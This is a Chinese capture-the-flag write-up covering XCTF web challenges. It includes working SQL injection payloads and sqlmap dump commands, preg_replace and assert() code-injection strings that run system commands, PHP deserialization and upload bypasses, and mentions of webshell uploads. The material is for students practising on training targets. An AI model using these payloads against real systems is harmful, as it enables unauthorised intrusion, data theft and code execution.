<content type="html"><![CDATA[<p>xctf上的oj对ctf新手来说,算是比较友好的,由浅入深的题目,除了有一些脑洞题外,其他基本都还算是可以的,给实验室的ctf队伍做讲解交流,也是一直推荐大家去刷一下,出了新手村,把进阶题做好,基本对于一些常见的漏洞和题型能够有了解了。趁着有时间,整理一下之前的wp,给实验室同学提供一下参考,省的到处找wp,也希望能给其他想做这个平台上题目的人一些帮助。不过,做CTF题,还是建议先自己想,自己钻研,把能想的都想透,实在没办法了再看wp,给自己一些提示,然后继续去做,做完自己尝试复现,这样才能把一道题目吃得更深更透。</p><p>这一部分主要是web方面的入门题和进阶区的第一页题,其余misc、re、pwn等方向的后续会陆续整理放出。</p><h2 id="新手区">新手区</h2><h3 id="view-source">view source</h3><p>右键查看源码,或者view-source:url,或者使用F12可查看网页源码,可得flag</p><h3 id="get-post">get post</h3><p>这题考的是HTTP的get和post请求,get可以直接作为url的param部分输入,post请求可以使用hackbar发送,或者使用burpsuite,这里建议自己尝试用python写脚本发送下请求,锻炼下coding能力。<br>这里在url输入参数"a=1",再post一个"b=2"即可得flag。</p><h3 id="robots">robots</h3><p>考点为robots协议,这个协议主要在爬虫抓取页面时候起作用,在根目录下放一下"robots.txt"文件,用来告知搜索引擎哪些页面能被抓取,哪些页面不能被抓取,搜索引擎中访问网站时首先要查看这个文件,如果存在,搜索机器人就会按照该文件中的内容来确定访问的范围;如果该文件不存在,所有的搜索蜘蛛将能够访问网站上所有没有被口令保护的页面。但是,因为这些文件需要将服务器页面信息列出,所以常被攻击者利用。<br>这题访问robots.txt文件,可以看到"flag_1s_h3re.php"文件,访问即可得flag。<br>关于robots协议,可参考<a href="https://zh.wikipedia.org/zh-hans/Robots.txt" target="_blank" rel="noopener">维基百科</a></p><h3 id="backup">backup</h3><p>考点为文件备份,通过添加备份文件的常用后缀获取源码的备份文件,以获取网页源码,从而得到flag。</p><h3 id="cookie">cookie</h3><p>考点为cookie,在Internet web服务中,web服务器为了辨别用户身份或会话认证等目的,会创建cookie值,将数据通过哈希、加密等处理返回给用户,用户在请求时附带上该cookie,再由服务器进行处理,由此对该访客进行认证或其他操作。<br>此题可直接F12查看网络请求,或使用bursuite抓包获取flag。</p><h3 id="disabled-button">disabled button</h3><p>此题考点为HTML源码修改,F12进入网页开发者模式,可以对HTML元素进行修改,将原本button的disable属性删除或修改,即刻点击button提交,获取flag。</p><h3 id="simple-js">simple js</h3><p>考点为编码转化,阅读网页源码,对处理的js代码进行审计,发现返回值是固定的,但是在源码中有一串字符,需要将其转为字符输出,即可得flag。需要将其先由16进制转化为字符,再对应字符查找ascii码对应的字符,则可得flag。</p><h3 id="xff-referer">xff referer</h3><p>考点为http的xff和refere头,在http中,xff(X-Forwarded-For:简称XFF头)代表客户端,即HTTP的请求端的IP;Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器是从哪个页面链接过来的。此题中用burpsuite抓包添加xss和referer头即可得flag。</p><h3 id="weak-auth">weak auth</h3><p>考点为弱口令,使用burpsuite抓包爆破即可,也可自己写python脚本读取字典进行爆破</p><h3 id="webshell">webshell</h3><p>考点为一句话木马,F12发现代码中有一句话木马,eval函数会以php代码形式进行命令执行,参数为shell,故发送对应payload的post请求即可,可以使用中国菜刀连接、hackbar发post请求,或者写python代码发包。</p><h3 id="command-execution">command execution</h3><p>考点为命令执行,服务器在执行ping命令后,通过构造shell中的命令,将其余语句注入进行执行,以获取flag。<br>先用find命令搜索flag文件,再用cat命令打印即可</p><h3 id="simple-php">simple php</h3><p>考点为php代码审计,利用PHP弱类型进行绕过,PHP中的"==“和”==="比较的内容不同,双等号会将字符转换为相同类型比较,而三等号会同时比较字符串的值和类型,前者属于弱类型比较。此题中,两个比较都可用字母来实现。可参考<a href="http://php.net/manual/zh/types.comparisons.php" target="_blank" rel="noopener">PHP弱类型</a></p><h2 id="进阶区">进阶区</h2><h3 id="baby-web">baby web</h3><p>考点为302调转,打开网页只有一个hello world,是1.php,题目hint为想想初始页面是哪个,因此用dirsearch扫描,发现只有1.php,其余index.php和<br>index.php/login都会跳转到1.php,查看中转页面的http请求即可得flag。</p><h3 id="cat">cat</h3><p>这题有点脑洞,主要考的是django调试模式和php curl。这题开启了django调试模式,通过fuzz可以发现,当输入为非法url或含有特殊符号时候,会返回<br>invaild url,另外,如果在输入框中值包含url编码,在?url=中请求大于%7F的字符都会造成Django报错(因为django使用的gbk编码中超过%F7的编码在gbk中无意义)。这里可以通过报错信息获取文件路径及文件名,再配合PHP CURL中的特性,如果将CURLOPT_SAFE_UPLOAD设置为true时,可以在请求中加上@符号传输文件绝对路径来请求文件。payload如下:</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">?url=@/opt/api/api/settings.py<span class="comment">#获取数据库名</span></span><br><span class="line">?url=@/opt/api/database.sqlite3<span class="comment">#获取数据库内容</span></span><br></pre></td></tr></table></figure><h3 id="ics-04">ics-04</h3><p>考点为重复注册,该题目提供注册、登录和找回密码功能,对每个功能进行尝试发现在注册功能中可以进行重复注册,尝试注册admin登录,登录成功但是没有flag,于是猜想是否是其他的用户名?另外,在找回密码处发现有一个sql注入漏洞,可使用sqlmap进行注入获取其users表,查看是否有其他用户。进行重复注册即可得flag。sqlmap命令如下:</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">python sqlmap.py -u <span class="string">"http://ip:port/findpwd.php"</span> --data=<span class="string">"username=1"</span> -D cetc004 -T user -C <span class="string">"username,password"</span> --dump</span><br></pre></td></tr></table></figure><h3 id="ics-05">ics-05</h3><p>考点为XFF、PHP伪协议与命令注入,可通过php://filter伪协议获取源码,再利用preg_replace函数进行命令注入,preg_replace函数进行正则表达式的搜索和替换,但是在使用/e修正符时,正则表达式会将替换串中的内容当做代码执行,会使preg_relace()将replacement参数当做PHP代码执行。另外,php代码中对server进行了判断,需要使用burpsuite进行抓包,加上XFF头发包,<br>payload和使用伪协议获取的index.php源码如下,获取到的源码是base64编码的,需要进行解码。</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">?page=php://filter/<span class="built_in">read</span>=convert.base64-encode/resource=index.php <span class="comment">#获取源码</span></span><br><span class="line">?pat=/(.*)/e&rep=system(<span class="string">'ls'</span>)&sub=a <span class="comment">#列出所有文件,可得到 s3chahahaDir 目录</span></span><br><span class="line">?pat=/(.*)/e&rep=system(<span class="string">'ls+s3chahahaDir'</span>)&sub=a <span class="comment">#查看目录下文件</span></span><br><span class="line">?pat=/(.*)/e&rep=system(<span class="string">'ls+s3chahahaDir/flag'</span>)&sub=a <span class="comment">#获取flag内容</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># index.php源码</span></span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$_SERVER</span>[<span class="string">'HTTP_X_FORWARDED_FOR'</span>] === <span class="string">'127.0.0.1'</span>) {</span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"<br >Welcome My Admin ! <br >"</span>;</span><br><span class="line"> <span class="variable">$pattern</span> = <span class="variable">$_GET</span>[pat];</span><br><span class="line"> <span class="variable">$replacement</span> = <span class="variable">$_GET</span>[rep];</span><br><span class="line"> <span class="variable">$subject</span> = <span class="variable">$_GET</span>[sub];</span><br><span class="line"> <span class="keyword">if</span> (isset(<span class="variable">$pattern</span>) && isset(<span class="variable">$replacement</span>) && isset(<span class="variable">$subject</span>)) {</span><br><span class="line"> preg_replace(<span class="variable">$pattern</span>, <span class="variable">$replacement</span>, <span class="variable">$subject</span>);</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> die();</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="ics-06">ics-06</h3><p>考点为bursuite爆破,对id字段进行爆破即可,当id为2333时可得flag。</p><h3 id="lottery">lottery</h3><p>考点为PHP弱类型和git泄露?题目直接给了源码可能是为了降低难度吧,通过dirsearch可以扫出有/.git文件,于是可以利用<a href="https://github.com/lijiejie/GitHack" target="_blank" rel="noopener">githack</a>把源码down下来,对源码进行审计,发现在api.php中存在漏洞。</p><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">buy</span><span class="params">($req)</span></span>{</span><br><span class="line"> require_registered();</span><br><span class="line"> require_min_money(<span class="number">2</span>);</span><br><span class="line">$money = $_SESSION[<span class="string">'money'</span>];</span><br><span class="line">$numbers = $req[<span class="string">'numbers'</span>];</span><br><span class="line">$win_numbers = random_win_nums();</span><br><span class="line">$same_count = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">for</span>($i=<span class="number">0</span>; $i<<span class="number">7</span>; $i++){</span><br><span class="line"> <span class="keyword">if</span>($numbers[$i] == $win_numbers[$i]){</span><br><span class="line"> $same_count++;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>源码中,需要对numbers进行判断,判断是否中奖,但是代码中并没有对用户输入进行数据类型检查,$win_numbers是随机生成的数字字符串。利用PHP弱类型比较,以"1"为例,和TRUE,1,"1"相等。 由于json支持布尔型数据,因此可以抓包改包,将numbers改为 true 进行发送,即可得奖。多次中奖后直接购买flag。payload如下:</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">{<span class="string">"action"</span>:<span class="string">"buy"</span>,<span class="string">"numbers"</span>:[<span class="literal">true</span>,<span class="literal">true</span>,<span class="literal">true</span>,<span class="literal">true</span>,<span class="literal">true</span>,<span class="literal">true</span>,<span class="literal">true</span>]}</span><br></pre></td></tr></table></figure><h3 id="NewsCenter">NewsCenter</h3><p>考点为sql注入,第一次点进去网页会报错,报错"sql…",刷新以后发现是个搜索框,猜测是sql注入,输入 'and 1=1# 和 'and 0# 结果不同,说明存在sql注入,直接使用sqlmap就可得flag,这里用的是post请求,所以需要抓包存储为txt文件,使用 -r 命令读入sqlmap中进行注入。也可以自行构造payload进行注入,如下:</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">python sqlmap.py -r crack.txt --dbs <span class="comment"># 查询数据库</span></span><br><span class="line">python sqlmap.py -r crack.txt -D news --dump <span class="comment"># 拖库</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 手注payload</span></span><br><span class="line">1<span class="string">' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()# </span></span><br><span class="line"><span class="string">1'</span> union select 1,2,group_concat(column_name) from information_schema.columns <span class="built_in">where</span> table_name=<span class="string">'secret_table'</span><span class="comment">#</span></span><br><span class="line">1<span class="string">' union select 1,2,fl4g from news.secret_table#</span></span><br></pre></td></tr></table></figure><h3 id="mfw">mfw</h3><p>考点为git泄露(Githack)、PHP代码审计和assert命令注入。扫目录发现网站.git文件,用githack下载源码,发现index.php和flag.php,但是flag.php里面的flag是空的,于是对index.php进行代码审计,看如何获取flag。</p><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>($_GET[<span class="string">'page'</span>])) {</span><br><span class="line">$page = $_GET[<span class="string">'page'</span>];</span><br><span class="line">} <span class="keyword">else</span> {</span><br><span class="line">$page = <span class="string">"home"</span>;</span><br><span class="line">}</span><br><span class="line"> <span class="comment">//以get方式获得一个page变量,如果没有,则设置为home</span></span><br><span class="line"> </span><br><span class="line">$file = <span class="string">"templates/"</span> . $page . <span class="string">".php"</span>;</span><br><span class="line"><span class="comment">//将page变量拼接成一个templates下的php文件,设置为变量file</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// I heard '..' is dangerous!</span></span><br><span class="line">assert(<span class="string">"strpos('$file', '..') === false"</span>) <span class="keyword">or</span> <span class="keyword">die</span>(<span class="string">"Detected hacking attempt!"</span>);</span><br><span class="line"> <span class="comment">//判断file中是否有" .. ",如果有则直接退出</span></span><br><span class="line"><span class="comment">// <span class="doctag">TODO:</span> Make this look nice</span></span><br><span class="line">assert(<span class="string">"file_exists('$file')"</span>) <span class="keyword">or</span> <span class="keyword">die</span>(<span class="string">"That file doesn't exist!"</span>)</span><br><span class="line"></span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure><p>源码中关键为assert和strpos函数,assert()函数会将括号中的字符当成代码来执行,并返回true或false。strpos()函数会返回字符串第一次出现的位置,如果没有找到则返回False。另外,这里file为用户输入的page拼接而成,而代码对于page并没有进行过滤,于是可以利用assert特性,assert函数的参数为assert(mixed $assertion[,string $description]),如果assertion是字符串,他会被assert()当做php代码执行。 所以这题中可以利用可控变量file传入恶意参数,将file_exists 闭合,然后传入需要执行的php代码,获取flag。 payload如下(注意需要进行url编码):</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="string">') or print_r(file_get_contents('</span>templates/flag.php<span class="string">');#</span></span><br></pre></td></tr></table></figure><h3 id="Training-WWW-Robots">Training-WWW-Robots</h3><p>考点为robots协议,通过访问robots.txt获得flag存放的文件名,访问即可得flag。</p><h3 id="NaNNaNNaNNaN">NaNNaNNaNNaN</h3><p>考点为代码审计,题目提供了一个附件,发现是一段JavaScript的代码,把文件加个html后缀发现可以直接运行,但是对内部机制不熟悉得不到flag,所以需要对js代码进行审计。首先将其js代码进行美化,美化后源码如下:</p><figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">$</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">var</span> e = <span class="built_in">document</span>.getElementById(<span class="string">"c"</span>).value;</span><br><span class="line"> <span class="keyword">if</span> (e.length == <span class="number">16</span>)</span><br><span class="line"> <span class="keyword">if</span> (e.match(<span class="regexp">/^be0f23/</span>) != <span class="literal">null</span>)</span><br><span class="line"> <span class="keyword">if</span> (e.match(<span class="regexp">/233ac/</span>) != <span class="literal">null</span>)</span><br><span class="line"> <span class="keyword">if</span> (e.match(<span class="regexp">/e98aa$/</span>) != <span class="literal">null</span>)</span><br><span class="line"> <span class="keyword">if</span> (e.match(<span class="regexp">/c7be9/</span>) != <span class="literal">null</span>) {</span><br><span class="line"> <span class="keyword">var</span> t = [<span class="string">"fl"</span>, <span class="string">"s_a"</span>, <span class="string">"i"</span>, <span class="string">"e}"</span>];</span><br><span class="line"> <span class="keyword">var</span> n = [<span class="string">"a"</span>, <span class="string">"_h0l"</span>, <span class="string">"n"</span>];</span><br><span class="line"> <span class="keyword">var</span> r = [<span class="string">"g{"</span>, <span class="string">"e"</span>, <span class="string">"_0"</span>];</span><br><span class="line"> <span class="keyword">var</span> i = [<span class="string">"it'"</span>, <span class="string">"_"</span>, <span class="string">"n"</span>];</span><br><span class="line"> <span class="keyword">var</span> s = [t, n, r, i];</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">var</span> o = <span class="number">0</span>; o < <span class="number">13</span>; ++o) {</span><br><span class="line"> <span class="built_in">document</span>.write(s[o % <span class="number">4</span>][<span class="number">0</span>]);</span><br><span class="line"> s[o % <span class="number">4</span>].splice(<span class="number">0</span>, <span class="number">1</span>)</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="built_in">document</span>.write(<span class="string">'Ok'</span>);</span><br><span class="line"><span class="keyword">delete</span> _</span><br></pre></td></tr></table></figure><p>由源码可得flag的生成逻辑,则直接将其提取出来运行即可的flag。</p><figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> t = [<span class="string">"fl"</span>, <span class="string">"s_a"</span>, <span class="string">"i"</span>, <span class="string">"e}"</span>];</span><br><span class="line"><span class="keyword">var</span> n = [<span class="string">"a"</span>, <span class="string">"_h0l"</span>, <span class="string">"n"</span>];</span><br><span class="line"><span class="keyword">var</span> r = [<span class="string">"g{"</span>, <span class="string">"e"</span>, <span class="string">"_0"</span>];</span><br><span class="line"><span class="keyword">var</span> i = [<span class="string">"it'"</span>, <span class="string">"_"</span>, <span class="string">"n"</span>];</span><br><span class="line"><span class="keyword">var</span> s = [t, n, r, i];</span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">var</span> o = <span class="number">0</span>; o < <span class="number">13</span>; ++o) {</span><br><span class="line"> <span class="built_in">document</span>.write(s[o % <span class="number">4</span>][<span class="number">0</span>]);</span><br><span class="line"> s[o % <span class="number">4</span>].splice(<span class="number">0</span>, <span class="number">1</span>)</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="bug">bug</h3><p>考点为重放攻击与文件上传,页面可以创建用户、登录、修改密码、忘记密码,点击manage页发现需要admin权限,尝试sql注入和二次注入无果,在找回密码处可以使用burpsuite抓包,将用户名修改为admin即可修改admin的密码,再尝试登录,提示 “ip not allowed” ,加上xff头即可,此时点击manage,在源码中看到提示 “index.php?module=filemanage&do=???” ,此时需要猜服务器的动作,由filemanage提示猜do=upload,进入upload页面。</p><p>先尝试上传php一句话木马,发现被拦截,提示是php文件,于是尝试其余php后缀,发现php5可以绕过过滤上传成功,得到flag。</p><h3 id="upload">upload</h3><p>考点为文件上传注入,登录页面后发现可以进行文件上传,于是尝试是否能上传一句话木马,修改后缀、截断、上传图片马、抓包修改type后发现都无法绕过,考虑是否存在其他漏洞?这里发现上传成功后会显示文件名,那么在文件名回显时,是否可以进行注入?这里尝试构造特定的文件名,判断是否可以注入。经测试发现可以进行sql注入,于是使用文件名来进行sql注入即可获得flag,这里需要注意回显无法返回字母,所以需要转为二进制显示,并且题目对回显长度进行了限制,可以使用substr进行分割输出。payload如下:</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="string">'+(select database())+'</span>.jpg <span class="comment"># 测试是否可以进行注入</span></span><br><span class="line"><span class="string">'+(selselectect conv(substr(hex(database()),1,12),16,10))+ '</span>.jpg <span class="comment"># 获取数据库名</span></span><br><span class="line"><span class="string">'+(selselectect conv(substr(hex(database()),13,12),16,10))+ '</span>.jpg</span><br><span class="line"><span class="string">'+(selecselectt conv(substr(hex((selecselectt table_name frofromm information_schema.tables where table_schema='</span>web_upload<span class="string">' limit 1,1)),1,12),16,10))+'</span>.jpg <span class="comment"># 获取表名</span></span><br><span class="line"><span class="string">'+(selecselectt conv(substr(hex((selecselectt column_name frofromm information_schema.columns where table_name='</span>hello_flag_is_here<span class="string">' limit 0,1)),1,12),16,10))+'</span>.jpg <span class="comment"># 获取字段名</span></span><br><span class="line"><span class="string">'+(selecselectt conv(substr(hex((selecselectt i_am_flag frofromm hello_flag_is_here limit 0,1)),1,12),16,10))+'</span>.jpg <span class="comment"># 获取flag</span></span><br></pre></td></tr></table></figure><h3 id="FlatScience">FlatScience</h3><p>考点为sql注入和社工?题目页面内都是一些文档的链接,一顿操作并没有找到什么洞,于是扫描目录、查看robots.txt,可以看到 login.php 和 admin.php,进入login.php,发现需要进行登录,这里尝试sql注入构造万能密码登录,没什么用。查看源码发现参数debug,传参?debug=1,得到如下代码:</p><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="meta"><?php</span> </span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>($_POST[<span class="string">'usr'</span>]) && <span class="keyword">isset</span>($_POST[<span class="string">'pw'</span>])){ </span><br><span class="line"> $user = $_POST[<span class="string">'usr'</span>]; </span><br><span class="line"> $pass = $_POST[<span class="string">'pw'</span>]; </span><br><span class="line"></span><br><span class="line"> $db = <span class="keyword">new</span> SQLite3(<span class="string">'../fancy.db'</span>); </span><br><span class="line"> </span><br><span class="line"> $res = $db->query(<span class="string">"SELECT id,name from Users where name='"</span>.$user.<span class="string">"' and password='"</span>.sha1($pass.<span class="string">"Salz!"</span>).<span class="string">"'"</span>); </span><br><span class="line"> <span class="keyword">if</span>($res){ </span><br><span class="line"> $row = $res->fetchArray(); </span><br><span class="line"> } </span><br><span class="line"> <span class="keyword">else</span>{ </span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"<br>Some Error occourred!"</span>; </span><br><span class="line"> } </span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span>(<span class="keyword">isset</span>($row[<span class="string">'id'</span>])){ </span><br><span class="line"> setcookie(<span class="string">'name'</span>,<span class="string">' '</span>.$row[<span class="string">'name'</span>], time() + <span class="number">60</span>, <span class="string">'/'</span>); </span><br><span class="line"> header(<span class="string">"Location: /"</span>); </span><br><span class="line"> <span class="keyword">die</span>(); </span><br><span class="line"> } </span><br><span class="line">} </span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>($_GET[<span class="string">'debug'</span>])) </span><br><span class="line">highlight_file(<span class="string">'login.php'</span>); </span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure><p>发现需要进行注入,并且这里为sqlite3,构建语句进行注入</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">usr=1‘ union select name,sql from sqlite_master--+&pw=1</span><br></pre></td></tr></table></figure><p>发现返回的结果在set-cookies中,并且可以知道,数据库中有name、password、hint三个字段,构造语句分别查询</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">usr=%27 UNION SELECT id, name from Users --+&pw=chybeta <span class="comment"># 查询name</span></span><br><span class="line">usr=%27 UNION SELECT id, password from Users–+&pw=chybeta <span class="comment"># 查询password</span></span><br><span class="line">usr=%27 UNION SELECT id, hint from Users–+&pw=chybeta <span class="comment"># 查询hint</span></span><br></pre></td></tr></table></figure><p>通过sql注入查询,可以得到name为admin,但是password为一串哈希,还是无法登录,但是这里hint为"my fav word in my fav paper",即需要从网页中的paper中获取密码,那么如何判断是哪篇paper?这里猜想是否paper的哈希为签名注入得到的password值,将paper爬取下来,然后使用脚本对其进哈希碰撞,碰撞成功则获取paper内容,得到flag。脚本如下:</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> cStringIO <span class="keyword">import</span> StringIO</span><br><span class="line"><span class="keyword">from</span> pdfminer.pdfinterp <span class="keyword">import</span> PDFResourceManager, PDFPageInterpreter</span><br><span class="line"><span class="keyword">from</span> pdfminer.converter <span class="keyword">import</span> TextConverter</span><br><span class="line"><span class="keyword">from</span> pdfminer.layout <span class="keyword">import</span> LAParams</span><br><span class="line"><span class="keyword">from</span> pdfminer.pdfpage <span class="keyword">import</span> PDFPage</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">import</span> string</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> hashlib</span><br><span class="line"> </span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_pdf</span><span class="params">()</span>:</span></span><br><span class="line"> <span class="keyword">return</span> [i <span class="keyword">for</span> i <span class="keyword">in</span> os.listdir(<span class="string">"./"</span>) <span class="keyword">if</span> i.endswith(<span class="string">"pdf"</span>)]</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">convert_pdf_2_text</span><span class="params">(path)</span>:</span></span><br><span class="line"> rsrcmgr = PDFResourceManager()</span><br><span class="line"> retstr = StringIO()</span><br><span class="line"> device = TextConverter(rsrcmgr, retstr, codec=<span class="string">'utf-8'</span>, laparams=LAParams())</span><br><span class="line"> interpreter = PDFPageInterpreter(rsrcmgr, device)</span><br><span class="line"> <span class="keyword">with</span> open(path, <span class="string">'rb'</span>) <span class="keyword">as</span> fp:</span><br><span class="line"> <span class="keyword">for</span> page <span class="keyword">in</span> PDFPage.get_pages(fp, set()):</span><br><span class="line"> interpreter.process_page(page)</span><br><span class="line"> text = retstr.getvalue()</span><br><span class="line"> device.close()</span><br><span class="line"> retstr.close()</span><br><span class="line"> <span class="keyword">return</span> text</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">find_password</span><span class="params">()</span>:</span></span><br><span class="line"> pdf_path = get_pdf()</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> pdf_path:</span><br><span class="line"> <span class="keyword">print</span> <span class="string">"Searching word in "</span> + i</span><br><span class="line"> pdf_text = convert_pdf_2_text(i).split(<span class="string">" "</span>)</span><br><span class="line"> <span class="keyword">for</span> word <span class="keyword">in</span> pdf_text:</span><br><span class="line"> sha1_password = hashlib.sha1(word+<span class="string">"Salz!"</span>).hexdigest()</span><br><span class="line"> <span class="keyword">if</span> sha1_password == <span class="string">'3fab54a50e770d830c0416df817567662a9dc85c'</span>: <span class="comment"># sql注入获得的hash值</span></span><br><span class="line"> <span class="keyword">print</span> <span class="string">"Find the password :"</span> + word</span><br><span class="line"> exit()</span><br><span class="line"> </span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">"__main__"</span>:</span><br><span class="line"> find_password()</span><br></pre></td></tr></table></figure><h3 id="web2">web2</h3><p>考点为php代码审计,将代码的逻辑逆过来执行一遍即可得flag。</p><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 源码</span></span><br><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="comment">// 加密算法</span></span><br><span class="line">$miwen=<span class="string">"a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws"</span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">encode</span><span class="params">($str)</span></span>{</span><br><span class="line"> $_o=strrev($str); <span class="comment">//反转字符串</span></span><br><span class="line"> <span class="comment">// echo $_o;</span></span><br><span class="line"> </span><br><span class="line"> <span class="keyword">for</span>($_0=<span class="number">0</span>;$_0<strlen($_o);$_0++){ </span><br><span class="line"> </span><br><span class="line"> $_c=substr($_o,$_0,<span class="number">1</span>); <span class="comment">//取每一个字符</span></span><br><span class="line"> $__=ord($_c)+<span class="number">1</span>; <span class="comment">//ascii + 1</span></span><br><span class="line"> $_c=chr($__); <span class="comment">//转字符</span></span><br><span class="line"> $_=$_.$_c; <span class="comment">//拼接</span></span><br><span class="line"> } </span><br><span class="line"> <span class="keyword">return</span> str_rot13(strrev(base64_encode($_))); <span class="comment">//base64编码后反转字符,再使用rot13编码</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">highlight_file(<span class="keyword">__FILE__</span>);</span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"> 逆向加密算法,解密$miwen就是flag</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"><span class="meta">?></span> </span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta"><?php</span> </span><br><span class="line"></span><br><span class="line"><span class="comment">//解密算法:</span></span><br><span class="line"><span class="comment">//rot13解码</span></span><br><span class="line"><span class="comment">//反转字符</span></span><br><span class="line"><span class="comment">//base64解码</span></span><br><span class="line"><span class="comment">//对于每个字符</span></span><br><span class="line"><span class="comment">//其ascii码 -1 转回字符 拼接</span></span><br><span class="line"><span class="comment">//反转字符</span></span><br><span class="line"></span><br><span class="line">$miwen = <span class="string">"a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws"</span>;</span><br><span class="line"> $a = str_rot13($miwen);</span><br><span class="line"> $a = strrev($a);</span><br><span class="line"> $a = base64_decode($a);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span>($i=<span class="number">0</span>;$i<strlen($a);$i++){ </span><br><span class="line"> $_i = substr($a,$i,<span class="number">1</span>);</span><br><span class="line"> $__i = ord($_i)<span class="number">-1</span> ;</span><br><span class="line"> $_i = chr($__i);</span><br><span class="line"> $re = $re.$_i;</span><br><span class="line"> }</span><br><span class="line"> $re = strrev($re);</span><br><span class="line"> <span class="keyword">echo</span> $re;</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure><h3 id="PHP2">PHP2</h3><p>考点为php后缀和url编码,将php文件后缀改为phps可得源码,发现需要发送id=admin即可得flag,但是这里源码中对id进行了url解码,所以需要admin进行两次url编码即可得flag(浏览器解码一轮,php代码解码一轮)。</p><h3 id="unserialize3">unserialize3</h3><p>考点为反序列化,打开题目给了一段php源码,源码中给了一个class,并且使用了wakeup方法,这里利用了php反序列化的一个漏洞,当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行,所以可以对本地序列化的结果进行修改后提交即可得到flag。题目代码及payload如下:</p><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 源码</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">xctf</span></span>{ </span><br><span class="line"><span class="keyword">public</span> $flag = <span class="string">'111'</span>;</span><br><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__wakeup</span><span class="params">()</span></span>{</span><br><span class="line"><span class="keyword">exit</span>(<span class="string">'bad requests'</span>);</span><br><span class="line">}</span><br><span class="line">?code=</span><br><span class="line"></span><br><span class="line">O:<span class="number">4</span>:<span class="string">"xctf"</span>:<span class="number">2</span>:{s:<span class="number">4</span>:<span class="string">"flag"</span>;s:<span class="number">3</span>:<span class="string">"111"</span>;} <span class="comment"># payload</span></span><br></pre></td></tr></table></figure><h3 id="upload1">upload1</h3><p>考点为文件上传前端过滤绕过,发现只能上传jpg文件,查看源码看到在前端有一个js函数对文件后缀进行检测,先将php改为jpg后缀,再使用burpsuite抓包修改文件后缀即可绕过,成功上传一句话木马后菜刀连接即可得flag。</p><h3 id="Web-include-php">Web include php</h3><p>考点为php源码审计与php://input流,利用strstr大小写敏感绕过strstr函数,使用php://input流读取文件即可得flag,源码及简要如下:</p><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line">show_source(<span class="keyword">__FILE__</span>); <span class="comment">//展示代码</span></span><br><span class="line"><span class="keyword">echo</span> $_GET[<span class="string">'hello'</span>]; <span class="comment">//获取hello参数</span></span><br><span class="line">$page=$_GET[<span class="string">'page'</span>]; <span class="comment">//获取page参数</span></span><br><span 